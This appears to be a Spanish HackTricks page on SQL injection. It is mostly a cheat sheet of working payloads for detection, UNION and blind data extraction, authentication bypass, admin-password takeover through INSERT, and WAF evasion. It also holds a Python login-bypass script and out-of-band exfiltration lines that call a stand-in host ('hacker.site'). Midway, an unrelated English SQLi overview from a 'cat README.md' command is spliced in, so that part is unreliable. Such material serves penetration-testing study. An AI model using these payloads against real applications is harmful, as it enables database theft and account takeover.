# Inyección SQL
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
{% embed url="https://www.rootedcon.com/" %}
## ¿Qué es la inyección SQL?
La inyección SQL es una vulnerabilidad de seguridad web que permite a un atacante **interferir** con las **consultas** que una aplicación realiza a su **base de datos**. Por lo general, permite a un atacante **ver datos** a los que normalmente no puede acceder. Esto puede incluir datos pertenecientes a **otros usuarios**, o cualquier otro dato al que la **aplicación** en sí misma pueda **acceder**. En muchos casos, un atacante puede **modificar** o **eliminar** estos datos, causando cambios persistentes en el contenido o comportamiento de la aplicación.\
En algunas situaciones, un atacante puede escalar un ataque de inyección SQL para **comprometer el servidor subyacente** u otra infraestructura de back-end, o realizar un ataque de denegación de servicio. (De [aquí](https://portswigger.net/web-security/sql-injection)).
> En este POST voy a suponer que hemos encontrado una posible inyección SQL y vamos a discutir posibles métodos para confirmar la inyección SQL, reconocer la base de datos y realizar acciones.
## Detección del punto de entrada
Es posible que hayas encontrado un sitio que es **aparentemente vulnerable a SQLi** solo porque el servidor se comporta de manera extraña con las entradas relacionadas con SQLi. Por lo tanto, lo **primero** que debes hacer es saber cómo **inyectar datos en la consulta sin romperla**. Para hacerlo, primero debes encontrar cómo **escapar del contexto actual**.\
Estos son algunos ejemplos útiles:
```
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
```
Entonces, necesitas saber cómo **arreglar la consulta para que no haya errores**. Para arreglar la consulta, puedes **introducir** datos para que la **consulta anterior acepte los nuevos datos**, o simplemente puedes **introducir** tus datos y **añadir un símbolo de comentario al final**.
_Nota que si puedes ver mensajes de error o puedes detectar diferencias cuando una consulta está funcionando y cuando no lo está, esta fase será más fácil._
### **Comentarios**
```sql
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
```
### Confirmación con operaciones lógicas
Una de las mejores formas de confirmar una inyección SQL es haciéndola operar una **operación lógica** y obteniendo los resultados esperados.\
Por ejemplo: si el parámetro GET `?username=Peter` devuelve el mismo contenido que `?username=Peter' or '1'='1`, entonces has encontrado una inyección SQL.
También puedes aplicar este concepto a **operaciones matemáticas**. Ejemplo: si `?id=1` devuelve lo mismo que `?id=2-1`, inyección SQL.
```
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
```
Esta lista de palabras fue creada para intentar **confirmar inyecciones SQL** de la manera propuesta:
{% file src="../../.gitbook/assets/sqli-logic.txt" %}
### Confirmación mediante temporización
En algunos casos, **no notarás ningún cambio** en la página que estás probando. Por lo tanto, una buena manera de **descubrir inyecciones SQL ciegas** es hacer que la base de datos realice acciones que tengan un **impacto en el tiempo** que tarda la página en cargarse.\
Por lo tanto, vamos a concatenar en la consulta SQL una operación que tardará mucho tiempo en completarse:
```
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
```
En algunos casos, las **funciones de espera no estarán permitidas**. En lugar de usar esas funciones, podrías hacer que la consulta realice **operaciones complejas** que tardarán varios segundos. _Se comentarán ejemplos de estas técnicas por separado en cada tecnología (si las hay)_.
### Identificación del back-end
La mejor manera de identificar el back-end es intentar ejecutar funciones de los diferentes back-ends. Podrías usar las **funciones de espera** de la sección anterior o estas:
```bash
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
```
Además, si tienes acceso a la salida de la consulta, podrías hacer que **imprima la versión de la base de datos**.
{% hint style="info" %}
A continuación, vamos a discutir diferentes métodos para explotar diferentes tipos de Inyección SQL. Usaremos MySQL como ejemplo.
{% endhint %}
### Identificación con PortSwigger
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
## Explotando Union Based
### Detectando el número de columnas
Si puedes ver la salida de la consulta, esta es la mejor manera de explotarla.\
En primer lugar, necesitamos averiguar el **número** de **columnas** que devuelve la **solicitud inicial**. Esto se debe a que **ambas consultas deben devolver el mismo número de columnas**.\
Dos métodos se utilizan típicamente para este propósito:
#### Order/Group by
Sigue incrementando el número hasta que obtengas una respuesta Falsa. Aunque GROUP BY y ORDER BY tienen diferentes funcionalidades en SQL, ambos se pueden usar de la misma manera para determinar el número de columnas en la consulta.
```sql
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
```
```sql
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
```
#### UNION SELECT
Selecciona cada vez más valores nulos hasta que la consulta sea correcta:
```sql
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
```
_Deberías usar valores `null` ya que en algunos casos el tipo de las columnas de ambos lados de la consulta deben ser iguales y `null` es válido en todos los casos._
### Extraer nombres de bases de datos, nombres de tablas y nombres de columnas
En los siguientes ejemplos vamos a obtener el nombre de todas las bases de datos, el nombre de la tabla de una base de datos, y los nombres de las columnas de la tabla:
```sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
```
Hay una forma diferente de descubrir estos datos en cada base de datos, pero siempre se sigue la misma metodología.
## Explotando Union Based Oculto
Si puedes ver la salida de la consulta pero no puedes lograr una inyección basada en uniones, estás tratando con una inyección basada en uniones oculta.\
En esta situación, terminas con una inyección ciega. Para convertir la inyección ciega en una basada en uniones, debes extraer la consulta que se está ejecutando en el backend.\
Puedes hacerlo mediante el uso de la inyección ciega y las tablas predeterminadas de tu DBMS objetivo. Para conocer esas tablas predeterminadas, lee la documentación de tu DBMS objetivo.\
Después de extraer la consulta, debes ajustar tu carga útil en consecuencia, cerrando la consulta original de manera segura. Luego, agrega una consulta de unión a tu carga útil y comienza a explotar la inyección basada en uniones recién obtenida.
Artículo completo: https://medium.com/@Rend\_/healing-blind-injections-df30b9e0e06f
## Explotando Error Based
Si por alguna razón **no puedes** ver la **salida** de la **consulta** pero puedes ver los **mensajes de error**, puedes hacer que estos mensajes de error **exfiltren** datos de la base de datos.\
Siguiendo un flujo similar al de la explotación basada en uniones, podrías lograr volcar la base de datos.
```sql
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
```
## Explotando Blind SQLi
En este caso no puedes ver los resultados de la consulta ni los errores, pero puedes **distinguir** cuando la consulta **devuelve** una respuesta **verdadera** o **falsa** porque hay diferentes contenidos en la página.\
En este caso, puedes abusar de ese comportamiento para volcar la base de datos carácter por carácter:
```sql
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
```
## Explotando Error Blind SQLi
Este es el **mismo caso que antes**, pero en lugar de distinguir entre una respuesta verdadera/falsa de la consulta, se puede distinguir entre un **error** en la consulta SQL o no (tal vez porque el servidor HTTP falla). Por lo tanto, en este caso se puede forzar un error SQL cada vez que se adivina correctamente el carácter:
```sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## Explotando SQLi basado en tiempo
En este caso **no hay** forma de **distinguir** la **respuesta** de la consulta basándose en el contexto de la página. Pero, puedes hacer que la página **tome más tiempo en cargar** si el carácter adivinado es correcto. Ya hemos visto esta técnica antes para [confirmar una vulnerabilidad SQLi](./#confirming-with-timing).
```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
## Consultas Apiladas
Puedes usar consultas apiladas para **ejecutar múltiples consultas en sucesión**. Ten en cuenta que mientras se ejecutan las consultas posteriores, los **resultados** no se **devuelven a la aplicación**. Por lo tanto, esta técnica se utiliza principalmente en relación con **vulnerabilidades ciegas** donde puedes usar una segunda consulta para desencadenar una búsqueda de DNS, un error condicional o una demora de tiempo.
**Oracle** no admite **consultas apiladas**. **MySQL, Microsoft** y **PostgreSQL** las admiten: `CONSULTA-1-AQUÍ; CONSULTA-2-AQUÍ`
## Explotación Fuera de Banda
Si **ningún otro** método de explotación **funcionó**, puedes intentar hacer que la **base de datos exfiltre** la información a un **host externo** controlado por ti. Por ejemplo, a través de consultas DNS:
```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
```
### Exfiltración de datos fuera de banda a través de XXE
```sql
a' UNION SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual-- -
```
## Explotación Automatizada
Revisa la [Guía de SQLMap](sqlmap/) para explotar una vulnerabilidad de SQLi con [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
## Información específica de tecnología
Ya hemos discutido todas las formas de explotar una vulnerabilidad de SQL Injection. Encuentra algunos trucos más dependientes de la tecnología de la base de datos en este libro:
* [MS Access](ms-access-sql-injection.md)
* [MSSQL](mssql-injection.md)
* [MySQL](mysql-injection/)
* [Oracle](oracle-injection.md)
* [PostgreSQL](postgresql-injection/)
O encontrarás **muchos trucos sobre: MySQL, PostgreSQL, Oracle, MSSQL, SQLite y HQL en** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
{% embed url="https://www.rootedcon.com/" %}
## Bypass de autenticación
Lista para intentar saltarse la funcionalidad de inicio de sesión:
{% content-ref url="../login-bypass/sql-login-bypass.md" %}
[sql-login-bypass.md](../login-bypass/sql-login-bypass.md)
{% endcontent-ref %}
### Bypass de autenticación (MD5 sin procesar)
Cuando se utiliza un MD5 sin procesar, la contraseña se consultará como una cadena simple, no como una cadena hexadecimal.
```sql
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
```
Permitir a un atacante crear una cadena con una declaración `true` como `' or 'SOMETHING`.
```sql
md5("ffifdyop", true) = 'or'6�]��!r,��b�
```
Desafío disponible en [http://web.jarvisoj.com:32772](http://web.jarvisoj.com:32772)
### Bypass de autenticación por hash
```sql
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
```
**Lista recomendada**:
Deberías usar cada línea de la lista como nombre de usuario y siempre la misma contraseña: _**Pass1234.**_\
_(Estos payloads también están incluidos en la lista grande mencionada al principio de esta sección)_
{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}
### GBK Autenticación Bypass
Si se está escapando ' puedes usar %A8%27, y cuando ' se escape se creará: 0xA80x5c0x27 (_╘'_)
```sql
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
```
Script de Python:
```python
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
```
### Inyección políglota (multicontexto)
```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```
## Declaración Insert
### Modificar la contraseña de un objeto/usuario existente
Para hacerlo, debes intentar **crear un nuevo objeto con el nombre del "objeto maestro"** (probablemente **admin** en caso de usuarios) modificando algo:
* Crear un usuario llamado: **AdMIn** (con letras mayúsculas y minúsculas)
* Crear un usuario llamado: **admin=**
* **Ataque de truncamiento SQL** (cuando hay algún tipo de **límite de longitud** en el nombre de usuario o correo electrónico) --> Crear un usuario con el nombre: **admin \[muchos espacios] a**
#### Ataque de truncamiento SQL
Si la base de datos es vulnerable y el número máximo de caracteres para el nombre de usuario es, por ejemplo, 30 y quieres hacerse pasar por el usuario **admin**, intenta crear un nombre de usuario llamado: "_admin \[30 espacios] a_" y cualquier contraseña.
La base de datos **comprobará** si el **nombre de usuario** introducido **existe** dentro de la base de datos. Si **no**, **recortará** el **nombre de usuario** al **número máximo permitido de caracteres** (en este caso a: "_admin \[25 espacios]_") y luego **eliminará automáticamente todos los espacios al final actualizando** dentro de la base de datos el usuario "**admin**" con la **nueva contraseña** (puede aparecer algún error, pero eso no significa que no haya funcionado).
Más información: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) y [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
_Nota: Este ataque ya no funcionará como se describe anteriormente en las últimas instalaciones de MySQL. Si las comparaciones aún ignoran los espacios en blanco al final por defecto, intentar insertar una cadena que sea más larga que la longitud de un campo dará como resultado un error y la inserción fallará. Para obtener más información sobre esto, consulte_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation)\_\_
### Verificación basada en tiempo de inserción de MySQL
Agrega tantos `','',''` como consideres para salir de la declaración VALUES. Si se ejecuta un retraso, tienes una SQLInjection.
```sql
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
```
### ON DUPLICATE KEY UPDATE
La palabra clave ON DUPLICATE KEY UPDATE se utiliza para indicarle a MySQL qué hacer cuando la aplicación intenta insertar una fila que ya existe en la tabla. Podemos usar esto para cambiar la contraseña del administrador mediante:
```
Inject using payload:
attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --
The query would look like this:
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");
This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”.
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".
After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!
```
### Extraer información
#### Creando 2 cuentas al mismo tiempo
Al intentar crear un nuevo usuario se necesitan un nombre de usuario, una contraseña y un correo electrónico:
```
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
```
#### Usando decimal o hexadecimal
Con esta técnica puedes extraer información creando solo 1 cuenta. Es importante tener en cuenta que no necesitas comentar nada.
Usando **hex2dec** y **substr**:
```sql
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
```
```bash
cat /hive/hacktricks/pentesting-web/sql-injection/README.md
```
# SQL Injection
SQL injection is a code injection technique that might destroy your database. SQL injection is one of the most common web hacking techniques.
## Basic SQL Injection
### String SQL Injection
The most common form of SQL injection is string SQL injection. This is the type of injection that is easy to exploit and is widely known.
```sql
SELECT * FROM users WHERE name = '$name';
```
### Numeric SQL Injection
Numeric SQL injection is similar to string SQL injection, but instead of injecting a string, you inject a number.
```sql
SELECT * FROM users WHERE id = $id;
```
### Boolean SQL Injection
Boolean SQL injection is a technique where you use boolean logic to inject SQL code into a query.
```sql
SELECT * FROM users WHERE name = '$name' AND password = '$password';
```
## Advanced SQL Injection
### Blind SQL Injection
Blind SQL injection is a type of SQL injection where the attacker does not get any information from the web application.
### Time-Based Blind SQL Injection
Time-based blind SQL injection is a type of blind SQL injection where the attacker can infer the results of their SQL query based on how long it takes the web application to respond.
### Out-of-Band SQL Injection
Out-of-band SQL injection is a type of SQL injection where the attacker can retrieve data using a different channel than the web application.
## SQL Injection Prevention
### Prepared Statements
Prepared statements are a way to parameterize SQL queries.
### Stored Procedures
Stored procedures are a way to group SQL statements into a single unit.
### Input Validation
Input validation is a way to ensure that user input is safe and does not contain any malicious code.
### Escaping
Escaping is a way to prevent SQL injection by escaping special characters in user input.
## SQL Injection Tools
### SQLMap
SQLMap is a popular open-source SQL injection tool.
### Havij
Havij is a popular commercial SQL injection tool.
### SQLNinja
SQLNinja is a popular open-source SQL injection tool.
### SQLSentinel
SQLSentinel is a popular commercial SQL injection tool.
## References
- [OWASP SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)
```python
__import__('binascii').unhexlify(hex(215573607263)[2:])
```
Usando **hex** y **replace** (y **substr**):
```sql
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
```
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
{% embed url="https://www.rootedcon.com/" %}
## Inyección SQL enrutada
La inyección SQL enrutada es una situación en la que la consulta inyectable no es la que da la salida, sino que la salida de la consulta inyectable va a la consulta que da la salida. ([Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt))
Ejemplo:
```sql
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
```
## Bypass de WAF
### Bypass sin espacios
Sin espacios (%20) - bypass utilizando alternativas de espacios en blanco
```sql
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
```
# No Whitespace - bypass usando comentarios
En algunos casos, el servidor puede estar configurado para filtrar los espacios en blanco en las solicitudes HTTP. En estos casos, se puede utilizar la técnica de comentarios para evitar la detección de espacios en blanco.
La técnica consiste en utilizar comentarios para separar las palabras clave de la consulta. Por ejemplo, en lugar de escribir `UNION SELECT`, se puede escribir `UNION/**/SELECT`.
Aquí hay un ejemplo de cómo se vería una inyección SQL utilizando esta técnica:
```
SELECT+username+FROM+users+WHERE+username='admin'/**/OR/**/1=1'/**/'AND/**/'a'='a
```
En este ejemplo, se utiliza el comentario `/**/` para separar las palabras clave `OR` y `AND` de la consulta. Esto permite que la consulta se ejecute correctamente sin ser detectada por el filtro de espacios en blanco.
Es importante tener en cuenta que esta técnica no siempre funcionará, ya que algunos filtros pueden estar diseñados para detectar y bloquear el uso de comentarios en las solicitudes HTTP.
```sql
?id=1/*comment*/and/**/1=1/**/--
```
# No Whitespace - bypass usando paréntesis
En algunos casos, el servidor puede filtrar los espacios en blanco, lo que dificulta la inyección de SQL. En estos casos, se puede intentar usar paréntesis para separar las palabras clave de SQL.
Por ejemplo, en lugar de usar `UNION SELECT`, se puede usar `UNION(SELECT)`. De esta manera, se evita el uso de espacios en blanco y se logra la misma funcionalidad.
Otro ejemplo sería en lugar de usar `ORDER BY`, se puede usar `ORDER(/**/)BY`.
Es importante tener en cuenta que esta técnica no siempre funciona y depende de cómo el servidor filtra los espacios en blanco.
```sql
?id=(1)and(1)=(1)--
```
### Bypass sin comas
Bypass sin comas - utilizando OFFSET, FROM y JOIN.
```
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
```
### Bypasses Genéricos
Lista negra usando palabras clave - bypass usando mayúsculas/minúsculas
```sql
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
```
## Blacklist usando palabras clave sin distinguir mayúsculas y minúsculas - evadir usando un operador equivalente
```
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
```
### Bypass de WAF con Notación Científica
Puedes encontrar una explicación más detallada de este truco en el [blog de gosecure](https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/).\
Básicamente, puedes utilizar la notación científica de maneras inesperadas para evitar el WAF:
```
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
```
### Bypass de Restricción de Nombres de Columnas
En primer lugar, si la **consulta original y la tabla de la que quieres extraer la bandera tienen la misma cantidad de columnas**, podrías simplemente hacer: `0 UNION SELECT * FROM flag`
Es posible **acceder a la tercera columna de una tabla sin usar su nombre** utilizando una consulta como la siguiente: `SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;`, por lo que en una inyección SQL se vería así:
```bash
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
```
O utilizando un **bypass de coma**:
```bash
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
```
Este truco fue tomado de [https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/](https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/)
### Herramientas para sugerir bypass de WAF
{% embed url="https://github.com/m4ll0k/Atlas" %}
## Otras guías
* [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
## Lista de detección de fuerza bruta
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
{% embed url="https://www.rootedcon.com/" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.